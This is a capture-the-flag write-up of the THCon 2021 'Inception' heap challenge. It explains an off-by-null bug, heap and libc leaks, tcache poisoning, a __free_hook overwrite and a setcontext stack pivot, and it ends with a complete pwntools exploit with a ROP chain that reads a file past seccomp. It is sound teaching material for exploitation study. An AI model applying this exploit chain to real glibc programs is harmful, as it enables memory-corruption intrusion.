THCon 2021 - Inception

Inception

Inception was a binary exploitation challenge, created by Voydstack. It was a heap challenge, involving Seccomp.

Discovery

We are given the binary, the libc, as well as the path to the flag, /home/user/flag.txt. The version of the libc is 2.27.

Playing with the binary, it looks like a typical heap exploitation challenge : we can create dreams of any size lesser than 0x800 bytes, edit dreams, show their content, as well as delete them. Creating and deleting dreams is allocating and freeing chunks respectively. Dreams are identified by an index.

-= Dream Book =-
1. Add dream
2. Delete dream
3. Edit dream
4. View dream
5. Exit
> 1
Dream size: 100
Dream content: hello
Dream #0 created.
-= Dream Book =-
1. Add dream
2. Delete dream
3. Edit dream
4. View dream
5. Exit
> 4
Dream index: 0
Dream content: hello

-= Dream Book =-
1. Add dream
2. Delete dream
3. Edit dream
4. View dream
5. Exit
> 3
Dream index: 0
New dream content: there
-= Dream Book =-
1. Add dream
2. Delete dream
3. Edit dream
4. View dream
5. Exit
> 4
Dream index: 0
Dream content: there

-= Dream Book =-
1. Add dream
2. Delete dream
3. Edit dream
4. View dream
5. Exit
> 2
Dream index: 0
Dream deleted.
-= Dream Book =-
1. Add dream
2. Delete dream
3. Edit dream
4. View dream
5. Exit
> 4
Dream index: 0
Empty dream.

Reviewing the mitigations, everything is enabled (we can safely assume that ASLR is enabled on the remote machine):

$ checksec inception
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

By looking at the assembly, can also see that the program uses seccomp. Let’s see the rules in details using seccomp-tools.

$ seccomp-tools dump ./inception
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0b 0xc000003e  if (A != ARCH_X86_64) goto 0013
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x15 0x08 0x00 0x00000000  if (A == read) goto 0012
 0004: 0x15 0x07 0x00 0x00000001  if (A == write) goto 0012
 0005: 0x15 0x06 0x00 0x00000002  if (A == open) goto 0012
 0006: 0x15 0x05 0x00 0x0000000a  if (A == mprotect) goto 0012
 0007: 0x15 0x04 0x00 0x0000000f  if (A == rt_sigreturn) goto 0012
 0008: 0x15 0x03 0x00 0x0000000c  if (A == brk) goto 0012
 0009: 0x15 0x02 0x00 0x0000003c  if (A == exit) goto 0012
 0010: 0x15 0x01 0x02 0x000000e7  if (A == exit_group) goto 0012 else goto 0013
 0011: 0x06 0x00 0x00 0x00050005  return ERRNO(5)
 0012: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0013: 0x06 0x00 0x00 0x00000000  return KILL

It is a whitelist, that correctly checks the architecure, and only allows a few syscalls. We will need these informations later.

The vulnerabilities

There are two vulnerabilities in this binary.

Firstly, when adding a dream, the content of the dream is read using the read function, which does not append a null byte to the string, and no null bytes are added to ensure that the strings is terminated. Thus, since the view functionnality prints a strings, it is possible to read any bytes following the content of a dream up until the first null byte encountered.

The second vulnerability is in the edit functionality, when trying to add a null byte at the end of the string, as highlighted here :

mov eax, dword [rbp - 8]    ; eax contains the index of the dream
cdqe
lea rdx, [rax*4]
lea rax, obj.dreams_size
mov eax, dword [rdx + rax]  ; eax = dream size
movsxd rdx, eax             ; size argument of read (dream size)
mov eax, dword [rbp - 8]
cdqe
lea rcx, [rax*8]
lea rax, obj.dreams
mov rax, qword [rcx + rax]
mov rsi, rax                ; address argument of read (address of the dream)
mov edi, 0                  ; stdin
call sym.imp.read
mov dword [rbp - 4], eax    ; eax = number of bytes read
mov eax, dword [rbp - 8]    ; eax = index of the dream
cdqe
lea rdx, [rax*8]
lea rax, obj.dreams
mov rdx, qword [rdx + rax] ; rdx = address of the corresponding dream
mov eax, dword [rbp - 4]   ; eax = number of bytes read
cdqe
add rax, rdx               ; Calculates the address by adding the number of byte read to the beginning of the chunk
mov byte [rax], 0          ; Write the null byte, this can be out of the chunk!

Let’s review it :

First, it calls read to edit the content of the dream, with the size parameter equal to the size given when we added the dream. Then, it takes the return value from read, which is the number of bytes read, and adds to it the address of the dream, and writes a null byte there. However, if we created a dream whose size was filling the content of the chunk given by malloc, when editing the chunk, we can write a null byte out of the chunk boundaries !

With these two vulnerabilities, it is enough to exploit this program.

Exploitation

Let’s get a proper environnement to develop our exploit. I’ll use pwninit to get a version of the libc with debug symbols, as well as a matching ld.so that can load the given binary. It also creates a template file that uses pwntools with python for the challenge.

I’ll also create helper functions that let me easily interact with the functionality of the program (the full python script is available below).

Leaking

Since both PIE and ASLR are enabled, we will need leaks before starting anything. In this case, we will need two leaks.

Leaking the heap

We will need the base address of the heap for the last part of our exploitation, but it is easier to get it now. For this, we will use the first vulnerability, leveraging tcache bins. A more complete overview of the different aspects of malloc can be found on MallocInternals here, but essentialy, malloc keeps track of freed chunks, and categorizes them differents bins - tcache being one of them. It contains several singly linked LIFO lists, each containning freed chunk, each list having a specific chunk size.

An example of freed dreams in a tcache bin :

0x55555555a250: 0x0000000000000000      0x0000000000000021 <- metadata of chunk 1
0x55555555a260: 0x0000000000000000      0x000055555555a010 <- data of freed chunk 1
0x55555555a270: 0x0000000000000000      0x0000000000000021 <- metadata of chunk 2
0x55555555a280: 0x000055555555a260      0x000055555555a010 <- data of freed chunk 2

In the above example, I freed chunk 1 then chunk 2, and in the data of chunk 2, the first 8 bytes are a pointer to the next chunk in the tcache bin. This is a heap address and a perfect target for our leak.

The first 8 bytes of the metadata are the size of the previous chunks, and the next 8 bytes are the size of the chunk. Since the size of a chunk is a multiple of 0x10 (0x8 on a 32 bits machine), the last bits are not useful, so the last 3 bits are reused as flags to manage the heap, notably the least significant bit is the flag PREV_INUSE, which indicates if the previous chunk is free or in user. Why is the previous size 0 and the PREV_INUSE set when I have freed both chunks ? This is becausethey are in the tcache which behaves differently - check out MallocInternals for the details :)

To actually get the value, we will create two dreams and free them to get in the above situation, then allocate a new dream with a content size of 1 (we cannot do 0 bytes), and then view its content. Since we are creating the chunk, we will overwrite the least significate byte of the pointer, but luckily for us, the base address of the heap is page aligned, which means that last 12 bits of the base address of the heap are zeros. We can therefore safely set these 12 bits to 0 to get our leak (ignoring the 8 bits we overwrote).

In newer version of the glibc, this is not as straightforward.

Scripting this in python, we get :

add(0x10, 'azer')
add(0x10, 'azer')

delete(0)
delete(1)

add(0x10, '0')

leak = view(0)
heap_leak = u64(leak[:6].ljust(8, b'\x00'))
heap_base = heap_leak & ~0xfff # Setting the last 12 bits to 0

log.success(f"heap base : {hex(heap_base)}")

It works !

[+] heap base : 0x55ab13e63000

Now, we do some cleanup for what comes next :

delete(0)
delete(1)

Leaking LIBC

To get a libc leak, we need to get a libc address on the heap, which we could then leak using the same method. However, I’ll do this using a different method : it is the first step to what comes next anyway.

Overlapping chunks

For this, we will trick malloc in creating two overlapping chunks using the second vulnerability. This technique is explained in great depth here with some malloc internals. The idea relies on using the off by null to clear the least significant byte of the metadata of the next chunk, which indicates notably if the previous chunk is in use or not, and then make it coalesce two chunks that it thinks are adjacent, while they are not.

Let’s go step by step.

First we will create 4 chunks, of different sizes (I will come back to the reasons for the sizes in a moment) and free the first one:

add(0x4f0, b'aaaa')
add(0x68, b'bbbb')
add(0x4f0, b'cccc')
add(0x200, b'dddd')

delete(0)

We have the following situation :

gef➤  heap chunks
...
Chunk(addr=0x55939522b260, size=0x500, flags=PREV_INUSE)
    [0x000055939522b260     a0 1c 4d 64 62 7f 00 00 a0 1c 4d 64 62 7f 00 00    ..Mdb.....Mdb...]
Chunk(addr=0x55939522b760, size=0x70, flags=)
    [0x000055939522b760     62 62 62 62 00 00 00 00 00 00 00 00 00 00 00 00    bbbb............]
Chunk(addr=0x55939522b7d0, size=0x500, flags=PREV_INUSE)
    [0x000055939522b7d0     63 63 63 63 00 00 00 00 00 00 00 00 00 00 00 00    cccc............]
Chunk(addr=0x55939522bcd0, size=0x210, flags=PREV_INUSE)
    [0x000055939522bcd0     64 64 64 64 00 00 00 00 00 00 00 00 00 00 00 00    dddd............]
gef➤  x/2gx 0x000055939522b260
0x55939522b260: 0x00007f62644d1ca0      0x00007f62644d1ca0

We have four chunk, the first one being free, while the other 3 are in use. We can see two libc address : this is why we chose a size of 0x4f0 for our dream : it creates a chunk of size 0x500, which is too big to go in either the tcache or fastbins, so it ends up in the unsorted bin, which is a doubly linked list, whose head is in the libc, and the freed chunks have a forward and backward pointer to the list, this is why we have this address here. So we actually put a libc address on the heap.

Next, we will leverage the second vulnerability to clear the least signigicant bit of the cccc chunk, updating the PREV_INUSE flag. This is also why we 0x4F0 for the dream size, it creates a 0x500 chunk, and so while clearing this bit, we do not shrink the chunk size. This will make malloc think that the chunk bbbb is free while it actually is not. This is not sufficient for our goal : we also need to update the prev_size field of the chunk cccc to make it think that the previous chunk is aaaa. Since this field is the first 8 bytes of the metadata of chunk cccc, this is also the last 8 bytes of chunk bbbb, which we can edit. So we will update it to be 0x570, the size of chunk aaaa + bbbb, making it believe there is only one chunk before.

Let’s continue our script :

add(0x4f0, b'aaaa')
add(0x680, b'bbbb')
add(0x4f0, b'cccc')
add(0x200, b'dddd')

delete(0)

edit(1, b'B'*0x60 + p64(0x570)) # Set prev_size

in our debugger, we get :

gef➤  heap chunks
...
Chunk(addr=0x564dbb2f4260, size=0x500, flags=PREV_INUSE)
    [0x0000564dbb2f4260     a0 ac 78 6c d5 7f 00 00 a0 ac 78 6c d5 7f 00 00    ..xl......xl....]
Chunk(addr=0x564dbb2f4760, size=0x70, flags=)
    [0x0000564dbb2f4760     42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42    BBBBBBBBBBBBBBBB]
Chunk(addr=0x564dbb2f47d0, size=0x500, flags=)
    [0x0000564dbb2f47d0     63 63 63 63 00 00 00 00 00 00 00 00 00 00 00 00    cccc............]
Chunk(addr=0x564dbb2f4cd0, size=0x210, flags=PREV_INUSE)
    [0x0000564dbb2f4cd0     64 64 64 64 00 00 00 00 00 00 00 00 00 00 00 00    dddd............]
Chunk(addr=0x564dbb2f4ee0, size=0x20130, flags=PREV_INUSE)  ←  top chunk

gef➤  heap chunk 0x0000564dbb2f47d0
Chunk(addr=0x564dbb2f47d0, size=0x500, flags=)
Chunk size: 1280 (0x500)
Usable size: 1272 (0x4f8)
Previous chunk size: 1392 (0x570)
PREV_INUSE flag: Off
IS_MMAPPED flag: Off
NON_MAIN_ARENA flag: Off

We have successfully changed the PREV_INUSE and PREV_SIZE values.

Now, all we have to do is free chunk cccc, which is big enough to not go in either the tcache or fastbin, and will then trigger the coalescing of the chunk (if this is not clear, check the MallocInternals link above). The chunk will coalesce and merge with what it think is his adjacent chunk, which is aaaainstead of bbbb, creating a big free chunk that goes over bbbb, of size 0xa70. This is also the reason why we need dddd : this way cccc is not merged with the top chunk (the size of dddd does not matter).

Let’s update our script:

add(0x4f0, b'aaaa')
add(0x680, b'bbbb')
add(0x4f0, b'cccc')
add(0x200, b'dddd')

delete(0)

edit(1, b'B'*0x60 + p64(0x570)) # Set prev_size
delete(2)

And the result :

gef➤  heap chunks
...
Chunk(addr=0x55be450242a0, size=0xa70, flags=PREV_INUSE)
    [0x000055be450242a0     a0 0c f6 15 09 7f 00 00 a0 0c f6 15 09 7f 00 00    ................]
Chunk(addr=0x55be45024d10, size=0x210, flags=)
    [0x000055be45024d10     64 64 64 64 00 00 00 00 00 00 00 00 00 00 00 00    dddd............]
Chunk(addr=0x55be45024f20, size=0x200f0, flags=PREV_INUSE)  ←  top chunk

gef➤  heap bins
────────────────────────────── Tcachebins for arena 0x7f0915f60c40 ──────────────────────────────
Tcachebins[idx=0, size=0x20] count=2  ←  Chunk(addr=0x55be45024280, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x55be45024260, size=0x20, flags=PREV_INUSE)
─────────────────────────────── Fastbins for arena 0x7f0915f60c40 ───────────────────────────────
Fastbins[idx=0, size=0x20] 0x00
Fastbins[idx=1, size=0x30] 0x00
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00
────────────────────────────── Unsorted Bin for arena 'main_arena' ──────────────────────────────
[+] unsorted_bins[0]: fw=0x55be45024290, bk=0x55be45024290
 →   Chunk(addr=0x55be450242a0, size=0xa70, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.
─────────────────────────────── Small Bins for arena 'main_arena' ───────────────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
─────────────────────────────── Large Bins for arena 'main_arena' ───────────────────────────────
[+] Found 0 chunks in 0 large non-empty bins.

We have succesfully coalesced the chunks ! (gdb-gef does not show chunk bbbb in the list, but it is still allocated and we still control it).

Now, to get our libc leak, all we have to do, is to allocate a dream of size 0x4f0, since both the tcache and fastbins cannot give a chunk of the requested size, it will take a slice (this is possible because this chunk is in the unsorted bin) of the free chunk of size 0xa70 and push down the libc address right over the content of chunk bbbb (this is because the remaining 0x570 bytes chunk is still in the unsorted bin).

Viewing the content of bbbb should output a libc address.

add(0x4f0, b'aaaa')
add(0x68, b'bbbb')
add(0x4f0, b'cccc')

add(0x200, b'dddd')

delete(0)
edit(1, b'B'*0x60 + p64(0x570))
delete(2)

add(0x4f0, b'push')

data = view(1)
libc_leak = u64(data[:6].strip().ljust(8, b'\x00'))
libc_base = libc_leak - 0x3ebca0 # We find this offset using our debugger :)

log.success(f"libc base : {hex(libc_base)}")

And we have a libc leak !

[+] libc base : 0x7f5bebc37000

Arbitrary write & Controlling the Instruction pointer

So, why did we do all of this ? We could have freed a chunk into the unsorted bin, and used the first bug to leak the libc address.

Having two overlapping chunks is very useful for us : remember the size of bbbb - it is 0x70 bytes. Therefore, if we free it, it will end up in the corresponding tcache, and if you remember the beginning, the first 8 bytes are a pointer to the next free chunk in the same tcache. But since we have overlapping chunks, we can control this pointer ! Which means, if we make more allocations from the same tcache, we will get bbbb first, and then a fake chunk, at an address we can control, and so, we can write anywhere in memory !

Let’s see this in action

add(0x60, b'eeee')               # Overlapping with "bbbb", named "eeee"
delete(2)                        # We immediately free it
edit(1, p64(0x012345679abcdef))  # Overwrite the pointer

Looking at the tcache we can see we corrupted our list :

gef➤  heap bins
...
Tcachebins[idx=5, size=0x70] count=1  ←  Chunk(addr=0x564c2d1037a0, size=0x70, flags=PREV_INUSE)  ←  [Corrupted chunk at 0x123456789abcdef]

Allocating a new dream of the same size, we are left with our corrupted chunk, allocating once more, we get a segmentation fault !

So we can write anywhere, but where do we want to write ? The goal is to control rip. The got is read-only, and we don’t know its address. There isn’t any pointer to function in the heap, so we are left with the libc.

Great targets are hooks ! Hooks, such as __malloc_hook or __free_hook, are pointers to functions to call when the corresponding function in their name is called. Since we can trigger both of these functions, they seem like good targets.

Let’s modify our script to overwrite __free_hook (I’ll come back to why __free_hook rather than malloc_hook just after) :

free_hook = libc_base + libc.symbols['__free_hook']

add(0x60, b'eeee')
delete(2)
edit(1, p64(free_hook))

add(0x60, b'a_random_string')      # take out "eeee" out of the tcache
add(0x60, p64(0x0123456789abcdef)) # overwrite __free_hook

Now, calling free triggers a segfault, with rip equals to 0x0123456789abcdef ! We can control rip.

Stack pivoting

Now we can control the execution, but where do we want to go ? Remember that there is a seccomp whitelist ! Without it, we could try to call a one gadget and get a shell, but here execve and others are not allowed.

The only interesting thing that the whitelisted syscalls let us do, are open, read and write on the flag file. For this to work, we need to be able to execute at least a ropchain, at best a shellcode, so let’s start with a ropchain.

But we don’t control the values on the stack ! So, in order to ROP, we will need to do what is called a stack pivot, which is a (long) gadget which will let us control the rsp register, which we will set to a known location where we will previously have written a ropchain. This ropchain will be written on the heap, this is why we needed to leak the base address of the heap in the first place.

But how do we set the rsp value if we don’t control the stack ? There is no gadget which will change rsp to a heap address on its own. This is the reason why I chose __free_hook over __malloc_hook : the only argument given to a call to malloc is a size, and as the function pointed by __malloc_hook is called before the actual chunk allocation, we end up with a size in the rdi register, which is not very interesting for us. However, the argument to free is a pointer to the chunk we are trying to free, so if we overwrite __free_hook with our gadget, when our gadget is called, we control the values at [rdi + 0x??]. This is enough to do a stack pivot.

If there was no seccomp, using this same method, we could overwrite __free_hook with the address of system, create a dream with the content /bin/sh\x00, and free it to get a shell.

Where do we find this gadget ? In the libc ! (We don’t even know the base address of the binary). There are many gadgets in a libc, so finding exactly what we want can take some time. There is a well-known gadget in the setcontext function in this version of the libc.

0x000521b5      488ba7a00000.  mov rsp, qword [rdi + 0xa0]
0x000521bc      488b9f800000.  mov rbx, qword [rdi + 0x80]
0x000521c3      488b6f78       mov rbp, qword [rdi + 0x78]
0x000521c7      4c8b6748       mov r12, qword [rdi + 0x48]
0x000521cb      4c8b6f50       mov r13, qword [rdi + 0x50]
0x000521cf      4c8b7758       mov r14, qword [rdi + 0x58]
0x000521d3      4c8b7f60       mov r15, qword [rdi + 0x60]
0x000521d7      488b8fa80000.  mov rcx, qword [rdi + 0xa8]
0x000521de      51             push rcx
0x000521df      488b7770       mov rsi, qword [rdi + 0x70]
0x000521e3      488b97880000.  mov rdx, qword [rdi + 0x88]
0x000521ea      488b8f980000.  mov rcx, qword [rdi + 0x98]
0x000521f1      4c8b4728       mov r8, qword [rdi + 0x28]
0x000521f5      4c8b4f30       mov r9, qword [rdi + 0x30]
0x000521f9      488b7f68       mov rdi, qword [rdi + 0x68]
0x000521fd      31c0           xor eax, eax
0x000521ff      c3             ret

We can control the value of many registers, including rsp, we just have to remember to put in rcx the address of the next gadget to start the ropchain - because it will be push on the stack, this is the value that the ret instruction will pop and execute.

Let’s update our script and start the ropchain (and change the random string to the path to the flag, we will use this later) :

free_hook = libc_base + libc.symbols['__free_hook']
gadget = libc_base + 0x521b5                          # The address of the setcontext gadget

add(0x60, b'eeee')
delete(2)
edit(1, p64(free_hook))

add(0x60, b'/home/user/flag.txt\x00')                 # Since we will need this string later to open the file, put it somewhere in the heap right now
add(0x60, p64(gadget))                                # overwrite __free_hook with the address of the setcontext gadget

ropchain = b""
ropchain = ropchain.ljust(0xa0, b'\x00')              # We could set the other register to useful values, but we have a lot of space so this is fine
ropchain += p64(rsp_value)
ropchain += p64(rcx_value)


add(0x800, ropchain)
delete(5)                                             # triggers __free_hook with a pointer to our chunk with the ropchain in rdi

Notice that there is some padding before the rsp_value, this is be cause the value will be taken from rdi + 0xa0. What value do we put for rsp and rcx ? Because rcx will be pushed to the new stack, we need to be precise to not overwrite important part of the ropchain. First, the easy part : for rcx_value, we will put the address of a ret instruction, this way we can follow with a normal ropchain, ignoring this gadget.

For rsp_value, I will set it to be right after rcx_value, this way, when the push rcx happens, it pushes the address of the ret over … rcx_value, then when the ret of setcontext executes, it will pop the value that was just pushed into rip, executes the ret, and we can follow with a normal ropchain. We can do this because we leaked the heap earlier.

free_hook = libc_base + libc.symbols['__free_hook']
gadget = libc_base + 0x521b5
ret = libc_base + 0x521ff


add(0x60, b'eeee')
delete(2)
edit(1, p64(free_hook))

add(0x60, b'/home/user/flag.txt\x00')
add(0x60, p64(gadget))

rsp_value = heap_base + 0xfd0                         # Calculated using a debugger
rcx_value = ret

ropchain = b""
ropchain = ropchain.ljust(0xa0, b'\x00')
ropchain += p64(rsp_value)
ropchain += p64(rcx_value)


add(0x800, ropchain)
delete(5)                                             # triggers __free_hook with a pointer to our chunk with the ropchain in rdi

Next, we can use mprotect (which is allowed by seccomp) to turn the heap executable, or simply continue with a ropchain, which I’ll do here. We have to open the file, read from the corresponding file descriptor, and write it to stdout. For both read and write, we can use the wrappers inside of libc, however, we cannot use the open for open, which uses the shmctl syscall, which is not permitted by seccomp. So for open, we will make the syscall directly.

free_hook = libc_base + libc.symbols['__free_hook']
gadget = libc_base + 0x521b5
ret = libc_base + 0x521ff
pop_rax = libc_base + 0x43ae8
pop_rsi = libc_base + 0x23eea
pop_rdi = libc_base + 0x215bf
pop_rdx = libc_base + 0x1b96
syscall = libc_base + 0xd2745
read = libc_base + libc.symbols['read']
puts = libc_base + libc.symbols['puts']

add(0x60, b'eeee')
delete(2)
edit(1, p64(free_hook))

add(0x60, b'/home/user/flag.txt\x00')
add(0x60, p64(gadget))

rsp_value = heap_base + 0xfd0                         # Calculated using a debugger
rcx_value = ret

ropchain = b""
ropchain = ropchain.ljust(0xa0, b'\x00')
ropchain += p64(rsp_value)
ropchain += p64(rcx_value)

ropchain += p64(pop_rax)                                # sets rax to the target syscall number
ropchain += p64(2)                                      # SYS_OPEN
ropchain += p64(pop_rdi)                                # pointer to path
ropchain += p64(heap_base + 0x7a0)                      # address of string /home/user/flag.txt
ropchain += p64(syscall)

ropchain += p64(pop_rdi)                                # sets the fd value
ropchain += p64(3)                                      # fd of the recently opened file
ropchain += p64(pop_rsi)                                # sets the where the content will be written
ropchain += p64(heap_base)                              # any writeable address
ropchain += p64(pop_rdx)                                # sets the number of bytes to read
ropchain += p64(0x100)
ropchain += p64(read)

ropchain += p64(pop_rdi)                                # address of the data read
ropchain += p64(heap_base)
ropchain += p64(puts)

add(0x800, ropchain)
delete(5)                                               # triggers __free_hook with a pointer to our chunk with the ropchain in rdi

This works ! At the time of writing, the server is not up anymore, however running it locally and changing the flag path to /etc/passwd gives the expected output :

$ python3 test.py
...
[+] heap base : 0x559520a93000
[+] libc base : 0x7f0645cf0000
[*] Switching to interactive mode
root:x:0:0::/root:/bin/bash
...

When running it remotely, I just had to change the fd of the open file to be 5 instead of 3, probably because the program had additionnal open file descriptors due to the remote connection.

This was a nice challenge :)

Full exploit

from pwn import *

context.terminal=["tmux", "split-w"]

p = process("./inception_patched")
#p = remote("remote1.thcon.party", 10904)



libc = ELF("./libc.so.6")


def add(size, data):
 p.recvuntil(b'> ')
 p.sendline('1')
 p.recvuntil(b': ')
 p.sendline(str(size))
 p.recvuntil(b': ')
 p.send(data)

def delete(idx):
 p.recvuntil(b'> ')
 p.sendline('2')
 p.recvuntil(b': ')
 p.sendline(str(idx))

def edit(idx, data):
 p.recvuntil(b'> ')
 p.sendline('3')
 p.recvuntil(b': ')
 p.sendline(str(idx))
 p.recvuntil(b': ')
 p.sendline(data)

def view(idx):
 p.recvuntil(b'> ')
 p.sendline('4')
 p.recvuntil(b': ')
 p.sendline(str(idx))
 p.recvuntil(b': ')
 data = p.recvuntil(b'-= Dream')
 return data

add(0x10, 'azer')
add(0x10, 'azer')

delete(0)
delete(1)

add(0x10, '0')

leak = view(0)
heap_leak = u64(leak[:6].ljust(8, b'\x00'))
heap_base = heap_leak & ~0xfff

log.success(f"heap base : {hex(heap_base)}")

delete(0)
delete(1)


add(0x4f0, b'aaaa')
add(0x68, b'bbbb')
add(0x4f0, b'cccc')

add(0x200, b'dddd')

delete(0)
edit(1, b'B'*0x60 + p64(0x570))
delete(2)

add(0x4f0, b'push')

data = view(1)
libc_leak = u64(data[:6].strip().ljust(8, b'\x00'))
libc_base = libc_leak - 0x3ebca0

log.success(f"libc base : {hex(libc_base)}")

free_hook = libc_base + libc.symbols['__free_hook']
gadget = libc_base + 0x521b5
ret = libc_base + 0x521ff
pop_rax = libc_base + 0x43ae8
pop_rsi = libc_base + 0x23eea
pop_rdi = libc_base + 0x215bf
pop_rdx = libc_base + 0x1b96
syscall = libc_base + 0xd2745
read = libc_base + libc.symbols['read']
puts = libc_base + libc.symbols['puts']

add(0x60, b'eeee')
delete(2)

edit(1, p64(free_hook))

add(0x60, b'/etc/passwd\x00')
add(0x60, p64(gadget))
rsp_value = heap_base + 0xfd0                           # Calculated using a debugger
rcx_value = ret

ropchain = b""
ropchain = ropchain.ljust(0xa0, b'\x00')
ropchain += p64(rsp_value)
ropchain += p64(rcx_value)

ropchain += p64(pop_rax)                                # sets rax to the target syscall number
ropchain += p64(2)                                      # SYS_OPEN
ropchain += p64(pop_rdi)                                # pointer to path
ropchain += p64(heap_base + 0x7a0)                      # address of string /home/user/flag.txt
ropchain += p64(syscall)

ropchain += p64(pop_rdi)                                # sets the fd value
ropchain += p64(3)                                      # fd of the recently opened file
ropchain += p64(pop_rsi)                                # sets the where the content will be written
ropchain += p64(heap_base)                              # any writeable address
ropchain += p64(pop_rdx)                                # sets the number of bytes to read
ropchain += p64(0x100)
ropchain += p64(read)

ropchain += p64(pop_rdi)                                # address of the data read
ropchain += p64(heap_base)
ropchain += p64(puts)


add(0x800, ropchain)
delete(5)

p.interactive()